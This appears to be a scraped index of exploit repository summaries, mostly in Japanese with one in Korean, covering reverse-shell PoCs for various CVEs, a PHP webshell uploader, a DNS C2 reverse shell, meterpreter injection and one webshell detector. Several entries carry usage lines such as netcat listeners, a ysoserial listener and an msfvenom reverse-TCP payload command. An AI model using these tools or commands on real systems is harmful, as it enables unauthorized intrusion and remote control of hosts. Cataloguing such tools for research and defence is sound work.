CVE-2026-102422

A flaw was found in shell-quote. This vulnerability allows an attacker to achieve arbitrary command execution by supplying crafted input containing line break characters after a comment marker. When input is quoted, the comment marker comments out subsequent quotes until a newline is encountered,...

sophucked

sophucked CVE-2020-25223 RCE PoC、認証不要でリバースシェルを取得します。いくつかの脅威磁石を統合する必要があったため、これを迅速に実装しました。 使用例: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from x.x.x.x + pop thy shell! bash: no job control in this shell...

CVE-2024-48990-Exploit

CVE-2024-48990 エクスプロイト このN-dayを再発見し、独自のエクスプロイトを作成するに至った過程の詳細な記事は、私のブログに掲載しています。 基本的には、攻撃者が管理するディレクトリにこのリポジトリをgit cloneし、export PYTHONPATH= を実行し、その PYTHONPATH の値を設定した状態で main.py を実行します。その後、127.0.0.1:1337 で netcat リスナーを起動し、cron job またはシステム管理者がシステム上で sudo apt install を実行するのを待つと、リスナーに root シェルが表示されます...

shellsum

Shellsum これは何ですか？ 防御ツール - md5sumを使用してローカルディレクトリ内のWebシェルを検出します 特徴 高速 軽量 大規模データベース テーブル出力 使用法 インストール git clone https://github.com/ManhNho/shellsum.git chmod 755 -R shellsum/ cd shellsum/ pip install -r requirements.txt 実行 python shellsum.py デモ やること 出力のスムーズ化 ファイルレポートのエクスポート モジュール化 より大規模なデータベース 参照...

CVE-2007-2447

CVE-2007-2447 Samba エクスプロイト CVE-2007-2447 エクスプロイトのスタンドアロン Rust 実装で、Samba smbd 3.0.20-Debian を標的とします。 脆弱性の説明 CVE-2007-2447 は、Samba バージョン 3.0.0 から 3.0.25rc3 におけるコマンドインジェクションの脆弱性です。この脆弱性は SamrChangePassword 関数に存在し、ユーザー入力を適切にサニタイズしないため、攻撃者は SMB 認証中にユーザー名フィールド内のシェルメタキャラクタを介して任意のコマンドを実行できます。 前提条件 システムに...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP はシェルをリバース接続で取得可能 この記事およびツールは技術共有のみを目的としており、不正な目的での使用は固く禁止します。違反した場合の結果はすべて自己責任となります。 コマンド実行EXPのトリガー 1. VPS上で RMI リスナーを 9999 ポートで起動 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS上で nc リスナーを 8443 ポートで起動 nc -lvp 8443 3...

ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360 脆弱性を利用したリバースシェルツール 概要 脆弱性の原理は、CFMLデータクライアントリクエストを構築すると、そのデータがサーバーのcoldfusion-out.logに保存されることです。このディレクトリにはリクエストのエラー情報が記録され、coldfusion-out.logファイルには書き込んだコードが含まれます。その後、classnameを使用してこのログファイルを読み取り実行することで、コード実行を達成します。...

Lenovo-CVE-2025-8061

Lenovo-CVE-2025-8061 LnvMSRIO.sys 3.1.0.36 ドライバーに対してシステムシェルを取得する PoC。 すべての功績は原作者 Quarkslab の Luis Casvella に帰属します。 これは、KVAShadowing と Core Isolation を無効にした最新の Windows 11 Version 24H2 で動作します。 !NOTE これは最新の Visual Studio 22 を使用してコンパイルされました。 エクスプロイト実行に役立つメモ !CAUTION このエクスプロイトのオフセットは、Windows バージョン:...

CVE-2025-24893-POC

CVE-2025-24893 bun をインストール： curl -fsSL https://bun.com/install | bash 依存関係をインストールするには： bun install 実行するには： bun run CVE-2025-24893.ts このプロジェクトは bun v1.2.19 の bun init を使用して作成されました。Bun は高速なオールインワン JavaScript ランタイムです。 使い方 Usage: bun CVE-2025-24893.ts options Options: -u, --url The target URL to...

Platypus

Platypus Linuxマシンのフリート向けのホスト管理ハブ。所有するすべてのホストにPlatypusエージェントをインストールします。エージェントはTLS + protobuf経由でPlatypusサーバーに接続します。サーバーからは、管理下の各ホストに対してインタラクティブシェル、ファイル管理、ネットワークトンネリングを一元的なコントロールプレーンから行えます。 スクリーンショット...

ShellUpload

ShellUpload kurosava.php kurosava.php は悪意のあるPHPウェブシェルアップローダーです。...

CmdLineSpoofer

Command Line Spoofer C를 사용하여 명령줄을 스푸핑하면서 meterpreter 셸을 주입하는 예제입니다. 명령줄은 프로세스 환경 블록PEB에 저장되며, 새 프로세스가 시작될 때 기록되고 Process Hacker 및 작업 관리자와 같은 도구에 표시됩니다. 소개 이 코드는 Adam Chester/XPN 의 How to Argue like Cobalt Strike 블로그를 기반으로 합니다. 이 블로그는 cobalt strike가 비콘을 주입할 때 프로세스의 명령줄을 스푸핑하는 방법을 설명합니다. 저는 이를 기반으로...

RancidCrisco

RancidCrisco CVE-2023-20126 の最小限の PoC これは初期リリースです。動作しますが、「最も単純なケース」のエクスプロイトです。 SPA112/SPA122 でテスト済み、動作確認済みです。SPA232D は別のファームウェアイメージが必要です。 ポート 23000/tcp で root シェルを提供します。 ファームウェアを編集するために使用したツールチェーンをまだ整理する必要があり、おそらく別のリポジトリに置く予定です。これは主に @BigNerd95 の作業に基づいていますが、SPA112/122...

Reverse_DNS_Shell

DNShell v1.7 説明: DNSをC2チャネルとして使用するPythonリバースシェル。 必要条件: dnslib dnspython pycrypto 注意点: HOSTを変更するのを忘れないでください SECRETキーを変更するのを忘れないでください 最初にサーバーを実行してください 詳細情報: http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html...

Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 拡張版エクスプロイトツール - コマンド実行とリバースシェルのデュアルモード対応 !IMPORTANT Webmin CVE-2022-0824 の脆弱性を狙った拡張版エクスプロイトツールです。直接のコマンド実行とリバースシェルの2つのモードに対応しています。 🚀 特徴 ✅ デュアルモード対応 : コマンド実行モード + リバースシェルモード ✅ 複数ペイロード : Perl、Bash、Pythonの3種類のペイロード ✅ スマートなファイル管理 :...

Demonstration-of-CVE-2023-38831-via-Reverse-Shell-Execution

CVE-2023-38831 リバースシェルのデモンストレーション このリポジトリには、CVE-2023-38831 のラボ環境でのデモンストレーションに関する PDF サマリーとスクリーンショットが含まれています。この脆弱性により、攻撃者は圧縮ファイルに悪意のあるペイロードを埋め込んで実行できます。この場合、ペイロードはリバースシェルをトリガーします。 内容: summaryreport.pdf: ラボプロセスの詳細な説明 /screenshots: 手順と結果の視覚的な証拠 注意: このリポジトリには、実行可能なコードやマルウェアは含まれていません。...

XSS2Shell-CVE-2026-64638

このリポジトリには README がありません。...

NimNightmare

CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...

Corsair---DLL-Planting-CVE-2023-38822

Corsair---DLL プランティング-CVE-2023-38822 Corsair iCUE v.5.3.102 における DLL プランティング CVE-2023-38822 発見者: Idan Malihi 説明 Corsair iCUE v.5.3.102 の問題により、ローカルの攻撃者が MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll、MSASN1.dll コンポーネントを介して任意のコードを実行できます。 再現手順 DLL プランティングの脆弱性を悪用するには、攻撃者は以下の手順を実行する必要があります。 1. iCUE...

CVE-2025-32463

Reference: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot Ubuntu 24.04.2 LTS サーバー上で、Sudo v1.9.15p5 を使用し、Sudo ルールが定義されていない非特権ユーザーで PoC を実行すると、chroot 環境の外でルートシェルが得られます。 lowpriv@prod:/CVE-2025-32463$ id uid=1001lowpriv gid=1001lowpriv groups=1001lowpriv lowpriv@prod:...